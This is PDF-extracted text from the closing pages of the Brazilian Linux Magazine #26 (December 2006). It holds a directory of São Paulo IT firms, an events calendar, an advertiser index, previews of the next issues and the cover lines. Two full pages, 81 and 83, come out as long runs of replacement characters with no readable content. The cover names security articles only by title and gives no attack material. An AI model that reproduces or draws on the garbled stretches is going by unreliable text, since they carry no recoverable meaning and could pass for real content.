Integral São Paulo Rua Dr. Gentil Leite Martins, 295, 2º an-dar Jd. Prudência – CEP: 04648-001

11 5545-2600 www.integral.com.br ✔ ✔

Itautec S.A. São Paulo Rua Santa Catarina, 1 – Tatuapé – CEP: 03086-025 11 6097-3000 www.itautec.com.br ✔ ✔ ✔ ✔ ✔

Linux Komputer Informática São Paulo Av. Dr. Lino de Moraes Leme, 185 – CEP: 04360-001 11 5034-4191 www.komputer.com.br ✔ ✔ ✔ ✔

Linux Mall São Paulo Rua Machado Bittencourt, 190, Cj. 2087 – CEP: 04044-001 11 5087-9441 www.linuxmall.com.br ✔ ✔ ✔

Livraria Tempo Real São Paulo Al. Santos, 1202 – Cerqueira César – CEP: 01418-100 11 3266-2988 www.temporeal.com.br ✔ ✔ ✔

Locasite Internet Service São Paulo Av. Brigadeiro Luiz Antonio, 2482, 3º an-dar – Centro – CEP: 01402-000

11 2121-4555 www.locasite.com.br ✔ ✔ ✔

Microsiga São Paulo Av. Braz Leme, 1631 – CEP: 02511-000 11 3981-7200 www.microsiga.com.br ✔ ✔ ✔

Novatec Editora Ltda. São Paulo Rua Luis Antonio dos Santos, 110 – Santana – 02460-000 11 6979-0071 www.novateceditora.com.br ✔

Novell América Latina São Paulo Rua Funchal, 418 – Vila Olímpia 11 3345-3900 www.novell.com/brasil ✔ ✔ ✔

Oracle do Brasil Sistemas Ltda. São Paulo Av. Alfredo Egídio de Souza Aranha, 100 – Bloco B – 5º andar – CEP: 04726-170

11 5189-3000 www.oracle.com.br ✔ ✔

Proelbra Tecnolo-gia Eletrônica Ltda.

São Paulo Av. Rouxinol, 1.041, Cj. 204, 2º andar Moema – CEP: 04516-001 11 5052- 8044 www.proelbra.com.br ✔ ✔ ✔

Provider São Paulo Av. Cardoso de Melo, 1450, 6º an-dar – Vila Olímpia – CEP: 04548-005

11 2165-6500 www.e-provider.com.br ✔ ✔ ✔

Red Hat Brasil São Paulo Av. Angélica, 2503, 8º andar Consolação – CEP: 01227-200

11 3124-6000 www.latinsourcetech.com.br ✔ ✔

Samurai Projetos Especiais São Paulo Rua Barão do Triunfo, 550, 6º andar – CEP: 04602-002 11 5097-3014 www.samurai.com.br ✔ ✔ ✔

SAP Brasil São Paulo Av. das Nações Unidas, 11.541, 16º andar – CEP: 04578-000 11 5503-2400 www.sap.com.br ✔ ✔ ✔

Simples Consultoria São Paulo Rua Mourato Coelho, 299, Cj. 02 Pinheiros – CEP: 05417-010 11 3898-2121 www.simplesconsultoria.com.br ✔ ✔ ✔

Smart Solutions São Paulo Av. Jabaquara, 2940 cj 56 e 57 11 5052-5958 www.smart-tec.com.br ✔ ✔ ✔ ✔

Snap IT São Paulo Rua João Gomes Junior, 131 – Jd. Bonfiglioli – CEP: 05299-000 11 3731-8008 www.snapit.com.br ✔ ✔ ✔

Stefanini IT Solutions São Paulo Av. Brig. Faria Lima, 1355, 19º – Pinheiros – CEP: 01452-919 11 3039-2000 www.stefanini.com.br ✔ ✔ ✔

Sun Microsystems São Paulo Rua Alexandre Dumas, 2016 – CEP: 04717-004 11 5187-2100 www.sun.com.br ✔ ✔ ✔ ✔

Sybase Brasil São Paulo Av. Juscelino Kubitschek, 510, 9º an-dar Itaim Bibi – CEP: 04543-000

11 3046-7388 www.sybase.com.br ✔ ✔

The Source São Paulo Rua Marquês de Abrantes, 203 – Chá-cara Tatuapé – CEP: 03060-020

11 6698-5090 www.thesource.com.br ✔ ✔ ✔

Unisys Brasil Ltda. São Paulo Rua Alexandre Dumas, 1711, 10º an-dar, Ed. Birmann 11 – CEP: 04717-004

11 3305-7000 www.unisys.com.br ✔ ✔ ✔ ✔

Utah São Paulo Av. Paulista, 925, 13º andar – Cerquei-ra César – CEP: 01311-916

11 3145-5888 www.utah.com.br ✔ ✔ ✔

Visuelles São Paulo Rua Eng. Domicio Diele Pacheco e Sil-va, 585 – Interlagos – CEP 04455-310

11 5614-1010 www.visuelles.com.br ✔ ✔ ✔

Webnow São Paulo Av. Nações Unidas, 12.995, 10º andar, Ed. Plaza Cen-tenário – Chácara Itaim – CEP: 04578-000

11 5503-6510 www.webnow.com.br ✔ ✔ ✔

WRL Informática Ltda. São Paulo Rua Santa Ifigênia, 211/213, Box 02– Centro – CEP: 01207-001 11 3362-1334 www.wrl.com.br ✔ ✔ ✔

Systech Taquaritinga Rua São José, 1126 – Centro - Cai-xa Postal 71 – CEP: 15.900-000

16 3252-7308 www.systech-ltd.com.br ✔ ✔ ✔

| SERVIÇOSLinux.local

Linux Magazine #26 | Dezembro de 2006http://supertuxbr.blogspot.com

Page 80: 26 - Web 2.0_dez_2006

80 http://www.linuxmagazine.com.br

Calendário de eventosEvento Data Local Website

PHP Conference Brasil 1 e 2 de Dezembro São Paulo, SPwww.temporealeventos.com.br/?area=13&tipo=1&id=1334

Reunião ICANN 2 a 8 de Dezembro São Paulo, SP www.icann.org/minutes

Estação VoIP 2006 5 e 6 de Dezembro Curitiba, PR www.estacaovoip.com.br

Open Source Developers’ Conference 5 a 8 de dezembro Melbourne, Austrália www.osdc.com.au

linux.conf.au 2007 15 a 20 de janeiro Sidney, Austrália lca2007.linux.org.au

PHP Conference 2007 12 e 13 de fevereiro Vancouver, Canadá vancouver.php.net/node/360

LinuxWorld OpenSolutions Summit 14 e 15 de fevereiro Nova York, EUA www.linuxworldexpo.com

Open Source Developers’ Conference 20 a 22 de fevereiro Netanya, Israel www.osdc.org.il/2007

FOSDEM 2007 24 e 25 de fevereiro Bruxelas, Bélgica www.fosdem.org

PyCon 2007 24 a 26 de fevereiro Addison, EUA us.pycon.org

LinuxWorld Conference & Expo Mexico 27 de fevereiro a 2 de março Cidade do México, México www.linuxworldexpo.com.mx

FOSE 2007 20 a 22 de março Washington, EUA www.fose.com

SE

RV

IÇO

S

Índice de anunciantes

Empresa Pág.

4Linux 15

BRConnection 27

EasyLinux 25

Estação VOIP 19

Green 65

Guia de Tecnologia da Informação 29

IBM 84

IBM 09

Intel 13

Intel IDF 02

Itautec 07

Linux Local 45

Linux World 81

LPI 61

Plugin 17

Red Hat 11

Siweb 57

SnapIT 37

Thin Networks 47

http://supertuxbr.blogspot.com

Page 81: 26 - Web 2.0_dez_2006

����������������

�����������������������������������������������������������������

�������������������������������

�������� ����������������������� ���������������������

������� ����������������������� ������������������������

�������� ������������������������ ���������������������

���������� ������������������������ �����������������������

��������� ����������������������� ����������������������

������������ ����������������������������� �������������������������

�������� ������������������������ �����������������������

������� ������������� ���������������������������

������������� ����������� �������������������������

������ ����������� �����������������������

���������� ����������� �������������������������

������ ������������ �����������������������

�������������� �������������������� ����������������������

���������� ����������������� �����������������������

�������� ��������������� ���������������������

���������������������������http://supertuxbr.blogspot.com

Page 82: 26 - Web 2.0_dez_2006

82

Na Linux Magazine #27…

PR

EV

IEW

TUTORIAL

SVN e CVSOs sistemas de controle de versões de software CVS (Concurrent Versions System) e SVN (Subversion) são absolutamente essenciais para projetos médios e grandes, e até mesmo para alguns pequenos. Através desses sistemas, os desenvolvedores podem trabalhar em diferentes partes do código de um programa, baixando e subindo novos trechos, unindo-os ao código já existente sem qualquer dificuldade. Vamos mostrar por que essas duas alternativas são tão importantes, e também como trabalhar com elas. ■

Na EasyLinux #10…

CAPA

Servidor mais rápidoO desempenho de um servidor depende de diversos fatores. A próxima edição

da Linux Magazine tratará da estruturação das configurações para velocidade em servidores. A recomendação é que haja um treinamento com vistas ao desempenho, em vez de pequenos ajustes pontuais sem relação entre si. O assunto deve ser inte-ressante não somente para administradores de sistemas Linux, como também para os desenvolvedores de aplicativos, independente da função que este exerça. Um dos artigos demonstrará a implementação de árvores do tipo Red-Black, utilizadas, por exemplo, no kernel Linux, nos escalonadores de E/S Anticipatory e Deadline. Serão apresentados também dez requisitos para serviços eficientes, voltados especificamen-te aos administradores que crêem que somente com investimento em hardware se obtém aumento significativo no desempenho dos servidores. Mergulharemos na oti-mização de programas, especialmente em Python, mas também de forma geral, com ferramentas de profiling, a fim de descobrir os principais gargalos responsáveis por quedas de desempenho em nossos programas. A exploração de problemas também será abordada, com o uso de benchmarks para detectar falhas pontuais. ■

http://www.linuxmagazine.com.br

CAPA

Kurumin LinuxJá imaginou uma distribuição onde qualquer modem

funciona e programas são instalados com um clique do mouse? Pois essa distribuição existe e é brasileira: Kurumin Linux. Mais do que a facilidade de instala-ção e configuração, o Kurumin já contém as versões atuais de todos os programas populares, inclusive os codecs proprietários. Se você quer experimentar o Linux, ou está um pouco frustrado com alguma outra distribuição, lhe mostraremos como o Kurumin pode mudar radicalmente qualquer visão negativa sobre o sistema. ■

FLIPERAMA

GamesNa estréia da seção Fliperama, você verá como instalar

e jogar o sucesso Guild Wars. Neste jogo, você constrói seu personagem e se aventura num mundo com milhares de outros jogadores on-line. ■

http://supertuxbr.blogspot.com

Page 83: 26 - Web 2.0_dez_2006

��������������������������

���� �����

���������������� ����

��

��

��

��

��

��

��

��

�������������������������������

�������

������

��

���� ����

�����

��������

�������

������������������������ ������������������������������������

������������������������������������������������������������������������������

������������������������������������������������������������������������������

�������������������������������������������������������������

������������������������������������������������������ ����

������������������������������������������������������ ����

�������������������������������������� ����

�����������

�����������������

������������������������������������������������������������ ���������������������������������������� �������������������������������� ������������������������������������� ������������������������������� ����

�����������������������������������������������������������������������������������������

�������������������������������������������������������������������

������

������

�������

����������

������

�����������������������

�������������������������������������

������

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

������������������������������������������������������������������

���������������������������������������������������������������������������

��������������������������������������������������������

�������������������

�����������������������������������������������������������������

�����������������������������

���

����

���

����

���

���

����

���

��

����������������������������������������������

��������������������������������������������������

������������������������������������������

����������������������������������������������������

��� �������������

� �� ������ �� ������

� � � � �

�������������� ������������������€ ����� ���������

��������������

�������������������������������������������������

���������������

�������������������������������������������������������

������� � � ������ � ���� �������

���

����

���

����

���

���

����

���

��

��� ����������

� � � � �

���������������������������������������������������

�����������������������������������������������

������������������������������������������������������������

������������������������������������������������

������������

�������������������������������������������������������������������������������������������������������������

���������������������������������������������������������������������������������������������������������

� ����������� �����������������������������������������������������

�������������������������������������������������������

��������������������������������������������������������������

��������������������������������������������������������������

������������������������������������������������������������

������������������������������������������������������������

������� � � ������ � ���� �������

��������� ��������������������������������������������������������������������������������������������������������������

���������������������������������������������������

������������������������������������������������������������

�����������������������������������������������������

��������������������������������������������

�� ��

������������������� ��

�����������������������������������������������

����������������������������������������������������

�������������������������������������������������������������������������������������������������

�������

������� � � ������ � ���� ������

���

����

���

����

���

���

����

���

��

��� �����������

������������������������������������������������

�����������������������������������������

�����������������������������������������������������

������������������������������������������������������

� �� ������ �� ������

� � � � �

�������������� ������������������€ ����� ���������

� ������ �����

����� �����

� ������ �����

������� � � ������ � ���� �������

�������������������������������������������������

�������������������������������������

��������������������������������������������������������

����������������������������������������������������

���������

�����

������������������

���������������������������������������������������������������������������������������������������������������������������������

������� � � ������ � ���� �������

��� ������������

���������������������������������������������������

�������������������������������������������������������

���������������������������������������������������������

��������������������������������������������

€ ����� ���������

����

���������

������������������������������������������������������������������

������� � � ������ � ���� �������

���

����

���

����

���

���

����

���

��

��� �������������

����������������������������������������

���������������������������������������������

����������������������������������������������������������

�������������������������������������������

������������������������������������������

������������������������

�����

�����

���������������������������

��������������� � ���� �������

���

����

���

����

���

���

����

���

��

�������������

������������������������������������������

����������������������������������������������

����������������������������������������������

��������������������������������������������������

���������������������������������������������������������������������������������������������������

�������������������������

���������

�������������������������

��������

��������������������������

��������

����������������������������

���������

������������������������

���������

�����������������������

���������

���������������������������� ���������������������

http://supertuxbr.blogspot.com

Page 84: 26 - Web 2.0_dez_2006

#26 12/06

R$ 13,90 € 7,50

97

71

80

69

42

00

9

00

02

6

A REVISTA DO PROFISSIONAL DE TI

Linu

x M

agazin

e

# 26 # 26

D

eze

mb

ro 2

006

12/2006

WWW.LINUXMAGAZINE.COM.BR

CEAGESP & LINUX p.26Uma união frutífera em prol da economia

CEZAR TAURION p.30O código aberto é mais seguro, apesar dos mitos

CURSO LPI p.55Primeiro fascículo do curso LPI-1

» Ajax: A tecnologia da nova Web p.34

» Wikis na sua empresa: documentação eficiente p.38

» IDE dedicada ao Ajax com o Aptana p.42

WEB 2.0 p.31

VEJA TAMBÉM NESTA EDIÇÃO:» Gerenciamento de pacotes inteligente com o Smart p.52» Eliminando vírus ao acessar arquivos p.62» XML fácil com PHP p.75» Proteja seu fórum contra o spam usando Perl p.70

SEGURANÇA p.66

Seguindo os passos de uma invasão

PORT-KNOCKING p.48

Segurança extrema nas portas do servidor

WE

B 2.0

A

JAX

WIK

I

AP

TAN

A

FIS

H

P

OR

T–KN

OC

KIN

G

S

MA

RT

LP

I-1

SA

MB

A

P

ER

L

PH

P

CONHEÇA A NOVA WEB, MAIS INTERATIVA, E VEJA COMO DESENVOLVER SEUS PRÓPRIOS APLICATIVOS WEB SOBRE ESSES PRINCÍPIOS

ex

em

pla

r d

e

Ass

inan

teve

nd

a

pro

ibid

a

http://supertuxbr.blogspot.com